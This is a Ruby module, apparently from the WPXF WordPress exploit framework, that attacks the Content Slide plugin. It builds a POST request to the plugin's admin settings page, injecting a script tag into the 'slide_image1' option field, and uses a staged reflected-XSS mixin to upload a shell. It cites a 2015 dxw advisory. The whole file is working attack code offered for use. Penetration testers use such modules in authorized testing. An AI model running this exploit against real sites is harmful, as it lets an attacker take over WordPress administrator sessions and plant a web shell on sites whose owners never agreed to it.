# frozen_string_literal: true

class Wpxf::Exploit::ContentSlideReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Content Slide Reflected XSS Shell Upload',
      author: [
        'Tom Adams (dxw)',                     # Disclosure
        'Paul Williams <phyushin@phyubox.com'  # WPXF module
      ],
      references: [
        ['WPVDB', '7908'],
        ['URL', 'https://security.dxw.com/advisories/csrf-and-stored-xss-in-wordpress-content-slide-allow-an-attacker-to-have-full-admin-privileges/']
      ],
      date: 'Apr 16 2015'
    )
  end

  def check
    check_plugin_version_from_readme('content-slide')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=content-slide/content_slide.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'wpcs_options[no_of_custom_images]' => 1,
      'wpcs_options[slide_image1]'        => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
